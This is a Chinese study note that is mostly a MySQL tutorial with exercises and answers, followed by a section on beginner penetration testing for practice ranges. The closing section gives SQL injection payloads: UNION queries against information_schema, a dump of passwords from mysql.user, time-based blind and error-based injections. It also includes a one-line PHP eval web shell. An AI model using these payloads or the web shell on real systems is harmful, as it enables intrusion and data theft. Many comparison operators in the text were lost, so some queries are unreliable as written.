#一、安装PHPphp中文网免费下载站PHP中文网一切建站资源免费下载在里面找到MySQL工具打开MySQL命令行输入“root”进入库#二、MySQL数据库第一部分 基础语法查看有哪些数据库show databases创建新的数据库create database 库名;使用数据库use 库名;查看有哪些表show tables创建新表create table 表名 (字段1 数据类型,字段2 数据类型,…)删除表drop table 表名修改表名alter table 表名 rename 新表名删除字段alter table 表名 drop column 字段名修改字段alter table 表名 change 字段名 新字段名 原字段数据类型增加字段alter table 表名 add column 字段名 数据类型修改字段的数据类型alter table 表名 modify column 字段名 新数据类型插入数据insert into 表名字段1字段2… values值1值2…批量插入insert into 表名 values值1值2…注意1、insert into 属于“行插入”即使你只选择插入一个字段的数据那么其他字段也会默认被插入了“null”2、批量插入时记得值要和字段一一对应。修改数据update 表名 set 字段新值 where 条件注意如果修改某个值where后一定要写条件否则就属于全表修改删除数据delete from 表名 where 条件注意和update类似如果删除某个值where后一定要写条件否则就属于全表删除查找数据select 字段 from 表 where 条件 group by 分组 having 一般是聚合函数的条件注意点select后可以跟常量0、1这种、变量字段名称、函数sum、avg、count、max、min也可以跟一个子查询得到的值from后面可以跟多张表如果跟的是一个子查询的数据集那么这个子查询必须加个括号后面跟个假名where后面跟算术运算符、-、*、/、%、比较运算符、、、!、、、between and、in、is null、is not null、逻辑运算符and、or、not、xor、like常跟通配符%、_、regexp常跟复杂的正则表达式^、|、~、注意1、where后面不能跟聚合函数2、提取not 后里面的连接条件取反比如not price6 or not namebanana’提取not后如果想要结果不变应该这样写not (price6 and name‘banana’)3、不写条件就等于恒成立或者条件写11会引出笛卡尔积。group by 分组注意1、当用到group by时select后面非聚合函数一定要放在group by后面进行分组2、聚合函数不能出现在group by后面3、按字段的列数进行分组也是一样的查每个部门可以count1*having 筛选可以单独使用但一般都是group by分组后用havingorder by 排序asc升序desc降序默认升序limit 限制返回行数他们的执行顺序依次为from-where-group by-having-select-order by-limitunion1、union select不能跟在order by后面可以先order by得出结论后再union2、如果用union select要保证列数和数据类型与上面一致可以自己加几个字段与上面一致例如select * from goodsunionselect *,1,2,3 from sales*总结一下以上主要是SQL的运用包含四种语法DDLdata definition language数据定义语言主要影响表结构create、drop、change、rename、modify、addDML:data manipulaton language数据操作语言主要影响表数据insert into、delete from、update truncate 表名虽然删除的是全表数据但属于DDLDQL:data query language数据查询语言(select)DCL:data control language数据控制语言常用grant to给谁赋权revoke from回收权限MySQL基础题1、创建一个数据库ldw并使用2、创建一个goods表字段和数据类型是id int(11)、order_id int(11)、name varchar(20)、price float(7,2)、num int(11)、total_price float(7,2)3、创建一个sales表字段和数据类型是order_id int11、saler varchar20、level int114、goods表插入数据112345678banana5.99847.92222345678apple7.8970552.3332345678pear6.8830206.4442345678orange10.5425263.5522345678apple6.66503335、sales表插入数据22345678lili132345678bob342345678tony282345678allen46、难度–高查询每个订单中价格高于该订单平均价格的商品并输出订单号、商品名称、价格、该订单的平均价格。7、难度–高查询每个销售员的总销售额并判断其是否高于所有销售员的平均销售额输出销售员、总销售额、是否高于平均8、难度–中使用相关子查询查询每个销售员的销售总额和提成(提成提0.02 )9、难度–高查询sales表中每个等级的平均订单数关联goods表where loc in (‘NEW YORK’ ,‘CHICAGO’ ,‘BOSTON’);第六题答案不唯一1️⃣select order_id,name,price,avg(price) from goodsgroup by order_idMySQL数据库允许只对select后面的非聚合字段分组一个但其他数据库会报错按理说非聚合字段要全部分组所以建议用第二个比较妥当having priceavg(price);2️⃣select order_id,name,price,avgpricefrom (select order_id,name,price,avg(price) as avgpricefrom goods group by order_id,name,price) awhere priceavgprice;第七题答案select saler,sum(total_price),sum(total_price)avg(total_price)from sales sleft join goods gon s.order_idg.order_idgroup by saler;第八题答案select saler,sum(total_price),sum(total_price)*0.02from sales sleft join goods gon s.order_idg.order_idgroup by saler;第九题答案select saler,level,avg(acorder_id)from (select saler,level,count(s.order_id) as acorder_idfrom sales sleft join goods gon s.order_idg.order_idgroup by saler,level) agroup by saler,level;数据准备CREATE TABLE dept (deptno INT PRIMARY KEY, – 部门编号dname VARCHAR(14), – 部门名称loc VARCHAR(13) – 部门位置) ENGINEInnoDB DEFAULT CHARSETutf8mb4;CREATE TABLE emp (empno INT PRIMARY KEY, – 员工编号ename VARCHAR(10), – 员工姓名job VARCHAR(9), – 职位mgr INT, – 上级经理编号hiredate DATE, – 入职日期sal DECIMAL(7,2), – 工资comm DECIMAL(7,2), – 奖金deptno INT, – 部门编号FOREIGN KEY (deptno) REFERENCES dept(deptno)) ENGINEInnoDB DEFAULT CHARSETutf8mb4;INSERT INTO dept (deptno, dname, loc) VALUES(10, ‘ACCOUNTING’, ‘NEW YORK’),(20, ‘RESEARCH’, ‘DALLAS’),(30, ‘SALES’, ‘CHICAGO’),(40, ‘OPERATIONS’, ‘BOSTON’);INSERT INTO emp (empno, ename, job, mgr, hiredate, sal, comm, deptno) VALUES(7369, ‘SMITH’, ‘CLERK’, 7902, ‘1980-12-17’, 800.00, NULL, 20),(7499, ‘ALLEN’, ‘SALESMAN’, 7698, ‘1981-02-20’, 1600.00, 300.00, 30),(7521, ‘WARD’, ‘SALESMAN’, 7698, ‘1981-02-22’, 1250.00, 500.00, 30),(7566, ‘JONES’, ‘MANAGER’, 7839, ‘1981-04-02’, 2975.00, NULL, 20),(7654, ‘MARTIN’, ‘SALESMAN’, 7698, ‘1981-09-28’, 1250.00, 1400.00, 30),(7698, ‘BLAKE’, ‘MANAGER’, 7839, ‘1981-05-01’, 2850.00, NULL, 30),(7782, ‘CLARK’, ‘MANAGER’, 7839, ‘1981-06-09’, 2450.00, NULL, 10),(7788, ‘SCOTT’, ‘ANALYST’, 7566, ‘1982-12-09’, 3000.00, NULL, 20),(7839, ‘KING’, ‘PRESIDENT’, NULL, ‘1981-11-17’, 5000.00, NULL, 10),(7844, ‘TURNER’, ‘SALESMAN’, 7698, ‘1981-09-08’, 1500.00, 0.00, 30),(7876, ‘ADAMS’, ‘CLERK’, 7788, ‘1983-01-12’, 1100.00, NULL, 20),(7900, ‘JAMES’, ‘CLERK’, 7698, ‘1981-12-03’, 950.00, NULL, 30),(7902, ‘FORD’, ‘ANALYST’, 7566, ‘1981-12-03’, 3000.00, NULL, 20),(7934, ‘MILLER’, ‘CLERK’, 7782, ‘1982-01-23’, 1300.00, NULL, 10);select * from emp;select * from dept;第二部分 函数语法字符函数1、大小写upper()、lower()渗透时绕过判定select upper(ename),lower(ename)from emp;2、算字节长度length()渗透中试探、比较内容判断页面列数select length(dname) from dept;select length(dname)5 from dept;3、去两端空格或者字符trimselect trim(’ aa a ‘), trim(‘a’from’ab a ba’);4、左右填充lpad(字段,“总长度”,填充内容)、rpad(字段,“总长度”,填充内容)select lpad(ename,10,‘j’)from emp ;select rpad(ename,10,‘哈’) from emp ;5、拼接数据concat(字段,“拼接内容”,“拼接内容”…)、一行获取全部拼接数据group_concat(字段,“拼接内容”,“拼接内容”…)select group_concat(ename,empno,mgr)from emp;6、查位置instr(字段,“查的内容”)会输出数字select concat(job,’-‘,ename),instr(concat(job,’-‘,ename),‘a’) from emp;7、截取substr(字段,第几个位置开始,跨度)select ename,substr(ename,2,1)from emp;8、替换replace三个参数将什么中的什么替换成什么函数基础题#第1题#显示所有员工姓名的大写形式、部门名称的大写形式以及员工姓名的字节长度。select upper(ename),upper(dname),length(ename)from emp e,dept d;#第2题#查询员工姓名和职位将姓名和职位用-“连接并转换为小写显示字段别名设置为员工职位信息”。select lower(concat(ename,’-,job)) “员工职位信息” from emp;#第3题#显示部门名称和部门位置将部门位置两端的空格去除并用部门位置“作为前缀填充使总长度达到20个字符填充在左侧。select dname,lpad(trim(loc),20,“部门位置 “) from dept;#第4题#查询员工姓名、薪水以及员工姓名去掉首尾空格后的字节长度假设姓名中有空格字段别名分别为姓名”、“薪水”、“姓名实际长度”。select ename ‘姓名’,sal ‘薪水’,length(trim(ename)) “姓名实际长度” from emp;#5#显示所有员工的姓名并在姓名左侧用”“填充使总长度为15个字符同时显示其部门名称的右侧用”#“填充到10个字符字段别名分别为填充后姓名”、“填充后部门名”。select lpad(ename,15,”) “填充后姓名”,rpad(dname,10,“#”) “填充后部门名”from emp eleft join dept don e.deptnod.deptno;#第6题#查找职位中包含MAN字符串的员工信息不区分大小写显示员工姓名、职位以及MAN在职位中的起始位置字段别名分别为姓名、“职位”、“位置”。select ename ‘姓名’,job ‘职位’,instr(job,“MAN”) ‘位置’from empwhere job like “%MAN%”;#第7题#将员工姓名中从第2个字符开始的3个字符替换为“并显示原姓名和新姓名要求使用SUBSTR和CONCAT函数嵌套字段别名分别为原姓名”、“新姓名”。select ename ‘原姓名’,replace(ename,substr(ename,2,3),) ‘新姓名’from emp;select ename ‘原姓名’,concat(substr(ename,1,1),’,substr(ename,5)) ‘新姓名’from emp;#第8题#统计每个部门的员工姓名列表用逗号分隔显示部门名称和员工姓名列表#字段别名分别为部门名称、“部门员工列表”。select d.deptno ,dname “部门名称”,group_concat(ename,“,”) “部门员工列表”from emp eright join dept don e.deptnod.deptnogroup by d.deptno;#第9题#查询员工姓名和入职年份将入职年份显示为4位数字并将员工姓名和入职年份用入职年份“连接字段别名设置为员工入职信息”。select concat(ename,“入职年份”,substr(hiredate,1,4)) “员工入职信息” from emp;#第10题#查询部门位置在NEW YORK、“CHICAGO”、“BOSTON的员工信息显示员工姓名、部门位置#并将部门位置截取前3个字符显示为大写字段别名分别为姓名”、“部门位置”、“位置缩写”。select ename “姓名”,loc “部门位置”,upper(substr(loc,1,3)) “位置缩写”from emp ejoin dept don e.deptnod.deptno数值函数#绝对值select abs(-10);#求余数替换11mod7,3mod7,3以应对某些防御余数为正负看第一个数是正是负select mod(7,-3);#floor8.9998向下取整ceil3.0014向上取整#rand生成随机数select rand(1)100;#round四舍五入truncate截断select round(3.14,2),truncate(3.14,2)#powerx,yx是底数y是指数求幂select power(2,1/2);2开方根21.414…select power(2,2);2平方4select power(2,-2);2的1/2次方1/4即0.25日期函数curdate() 2026-03-24、curtime() 12:59:15、now() 2026-03-24 12:59:15升阶题部分MySQL版本不支持一些语句逻辑比如5.7以上版本用到group by的地方位于select后面的非聚合函数必须分组否则报错但5.7以下就可以执行。#1. 查询所有员工的姓名和工资按工资降序排列select ename,sal from emp order by sal desc;#2. 查询每个部门的平均工资只显示平均工资大于2000的部门select dname,avg(sal)from dept djoin emp eon d.deptnoe.deptnogroup by dnamehaving avg(sal)2000;#3. 查询每个部门的员工人数按人数降序排列select deptno,count(ename)from empgroup by deptnoorder by count(ename) desc;#4. 查询工资最高的前5名员工信息selectfrom emporder by sal desclimit 1,5;#5. 查询在1981年入职的所有员工信息select * from emp where hiredate like “1981%”;#6. 查询每个部门的最高工资和最低工资select d.deptno,max(sal),min(sal)from dept dleft join emp eon d.deptnoe.deptnogroup by d.deptno;#7. 查询有奖金的员工姓名和奖金金额,工资总额注意奖金为NULL或0都算无奖金select ename,sal,comm,salifnull(comm,0)from empwhere comm is not null and comm!0;#8. 查询每个部门的工资总和select deptno,sum(sal)from empgroup by deptno;#9. 查询每个经理MGR不为NULL管理的员工数量和经理名字select j.ename ‘经理名字’,y.mgr ‘经理的员工编号’,count(y.ename) ‘管理人数’,group_concat(y.ename)from emp jjoin emp yon y.mgrj.empnowhere y.mgr is not nullgroup by j.ename,y.mgr;#10. 查询工资高于本部门平均工资的员工信息使用相关子查询第一种select *from emp as a,(select deptno,avg(sal) asal from emp group by deptno) as bwhere salasal and a.deptnob.deptno;第二种select *from emp awhere sal (select avg(sal)from emp bwhere b . deptno a.deptno);#11. 查询每个职位JOB的员工人数和平均工资按平均工资降序排列select job,count(ename),avg(sal)from empgroup by joborder by avg(sal) desc;#12. 查询员工编号、姓名及其经理姓名使用自连接经理没有姓名则显示’最高领导’去空值判断练习select y.empno,y.ename,ifnull(j.ename,“最高领导”) a,if(j.ename is null,“最高领导”,j.ename) b,case when j.ename is null then “最高领导”else j.enameend c,coalesce (j.ename,“最高领导”) dfrom emp yleft join emp jon y.mgrj.empno;#13.查询员工表的员工编号 员工姓名 部门名称(相关子查询)select empno,ename,dnamefrom emp eleft join dept don e.deptnod.deptno;#14. 查询没有下属的员工信息即该员工的EMPNO不在其他员工的MGR字段中select *from empwhere empno not in (select ifnull(mgr,0) from emp )in里可以有空 not in 不可以有空#15. 查询与SMITH在同一部门的员工信息不包含SMITH本人select *from empwhere deptno (select deptno from emp where ename‘smith’)and ename!‘smith’;#16. 查询部门名称(dept)和该部门的员工人数(emp)包括没有员工的部门select dname,count(ename)from emp eright join dept don e.deptno d.deptnogroup by d.deptno;16. 查询部门名称(dept)和该部门的员工人数(emp)包括没有员工的部门select dname,count(ename)from dept dleft join emp eon d.deptnoe.deptnogroup by dname;#17. 查询工资大于所有员工平均工资的员工信息select * from emp where sal(select avg(sal) from emp);#18. 查询有超过3名员工的部门信息select d.from emp eright join dept don e.deptno d.deptnogroup by d.deptnohaving count(ename)3;#19. 查询每个部门的工资差距最高工资-最低工资select max(sal)-min(sal)from empgroup by deptno;#20. 查询入职时间最早和最晚的员工信息用一条SQL显示两行select *from empwhere hiredate(select max(hiredate) from emp)orhiredate(select min(hiredate)from emp );#21. 查询各部门按职位统计的员工人数部门、职位、人数select deptno,job,count(ename)from empgroup by deptno,job;#22. 查询平均工资最高的部门的信息select d.*from dept dleft join emp eon d.deptnoe.deptnogroup by d.deptnoorder by avg(sal) desclimit 0,1#select deptno,avg(sal) from emp group by deptno#23. 查询工资比其经理工资还高的员工信息员工MGR不为NULLselect yuan.*from emp yuanjoin emp jingon yuan.mgrjing.empnoandyuan.mgr is not nullwhere yuan.saljing.sal;#24. 查询每个员工的总收入工资奖金奖金为NULL按0处理select ename,sal,comm,salifnull(comm,0) from emp;#25. 查询奖金比例奖金/工资大于20%的员工奖金为NULL或0的不计算select *from empwhere ifnull(comm,0)/sal 0.2;#26. 查询每个员工的工龄按年计算四舍五入select round(DATEDIFF(curdate(),hiredate )/365)from emp;#27. 查询各部门工资分布高工资(3000)、中工资(1500-3000)、低工资(1500)人数#各工资等级分布select deptno,case when sal3000 then ‘高工资’when sal between 1500 and 3000 then ‘中工资’else ‘低工资’end salfrom emp;#分组select deptno,case when sal3000 then ‘高工资’when sal between 1500 and 3000 then ‘中工资’else ‘低工资’end sal,count(1)from empgroup by deptno,case when sal3000 then ‘高工资’when sal between 1500 and 3000 then ‘中工资’else ‘低工资’end ;#查询10部门的部门平均工资和部门所在地select avg(sal),locfrom emp ejoin dept don e.deptnod.deptno and e.deptno10;#查询smith的部门编号,部门名称和职位select e.deptno,dname,jobfrom emp ejoin dept don e.deptnod.deptno and ename‘smith’;#查询员工姓名 经理编号和经理姓名select yuan.*,jing.empno,jing.enamefrom emp yuanjoin emp jingon yuan.mgrjing.empno;第三部分 去空值相关的函数1、ifnull(comm,0)2、coalesce(comm,0)3、if(条件,真,假)例如 if(comm is not null,comm,0)case when 条件 then 返回when 条件 then 返回else …end参考升阶题27题例如a not in(‘’,1,2) 即a!null and a!1…这种表达是假的。a in (‘’,1,2) 即anull or…这种表达可以查到。查询全表员工的本月工资(工资提成)select sal,comm,salifnull(comm,0) a,salcoalesce(comm,0) b,salif(comm is not null,comm,0) c,case when comm is not null then salcommwhen comm is null then salend dfrom emp ;#三、网安渗透基础网安岗位职责1、漏洞扫描、弱口令扫描、报告输出、漏洞验证2、渗透测试、报告输出、漏洞验证3、安全攻防演练4、资产梳理5、农全基线核查及安全加固6、安全等保服务定级备室、预测评等7、安全应急响应8、重大保障时期技术支持9、安全风险评估10、钓鱼邮件演练常用网址*靶场练习网址https://yunjing.ichunqiu.com/----刚刚攻克一个好激动-----记录一下***常用命令–获取所有数据库UNION SELECT schema_name FROM information_schema.schemata– 获取当前数据库中所有表名UNION SELECT 1,GROUP_CONCAT(table_name),3 FROM information_schema.tables WHERE table_schema database()– 获取特定表的所有字段名UNION SELECT 1,GROUP_CONCAT(column_name),3 FROM information_schema.columns WHERE table_name ‘flag’​UNION SELECT 1,GROUP_CONCAT(flag),3 FROM flagflag常在地方根目录相关路径/flag - 最简单的Flag存放路径/flag.txt - 常见的文本格式Flag文件/home/ctf/flag - 特定用户目录下的Flag/var/flag - 系统级Flag存放位置网安渗透示例sql注入*1️⃣打开一个网站进入靶场点击一个内容后2️⃣在地址栏输入 ’ 试探该网页是否用sql语句写的如果用单引号或双引号试探报错了3️⃣那么就在引号后面加上“–”注释掉后面的内容4️⃣在引号与注释符之间进行操作输入 “order by 数字”进行试探直到报错找到页面究竟有几行数据试出来对应列数才能为下面的拼数据做准备因为只有列数相同才可以使用union select5️⃣删除order by 写union select 进行拼接数字6️⃣让页面内容出错回显出自己写的序号因为页面不报错就会默认正常显示相应的数据一般是默认limit 0,1 所以要让他数据报错才能在第一行显示自己的这个序号这就是写12的原因7️⃣在序号上修改一些敏感的函数查出自己想要的数据例如’ or 12 union select 1,user(),database(),version(),password,6,7,8,9 from mysql.user; --如果看不到回显就用“时间盲注”格式为if(condition, true, false)例子if(database()ctf, sleep(5), 1)如果当前数据库名等于 ctf 就执行 sleep(5) 让数据库暂停5秒否则返回 1快速执行无延时。URL中注入?id1 AND IF(DATABASE()‘ctf’, SLEEP(5), 0)渗透技巧1、在页面点击按钮、选择题等等对照地址栏中找id什么什么的地方然后尝试2、自己在某些数值或者字符后面加“?id1、2、-1”等内容3、找到回显处后从数据库中搜索相关值4、通过“检查”功能看其返回值常用函数MySQL SLEEP() , BENCHMARK()PostgreSQL pg_sleep()SQL Server WAITFOR DELAY一句话木马?php eval($_POST[123]);?#看报错子查询先执行里面select * from emp where 11 ANDupdatexml(1, concat(0x7e, (SELECT database()), 0x7e), 1);select * from emp where 11 ANDextractvalue(2, concat(0x7e, (SELECT database()), 0x7e));报错函数1、floor()为了绕过简单防御rand()、 group by2、#报错select * from emp where 11 ANDupdatexml(1, concat(0x7e, (SELECT database()), 0x7e), 1);select * from emp where 11 ANDextractvalue(2, concat(0x7e, (SELECT database()), 0x7e));0x 十六进制 7e 对应用concat连接查询的内容用可以避免路径与原语句重复从而显示我们的内容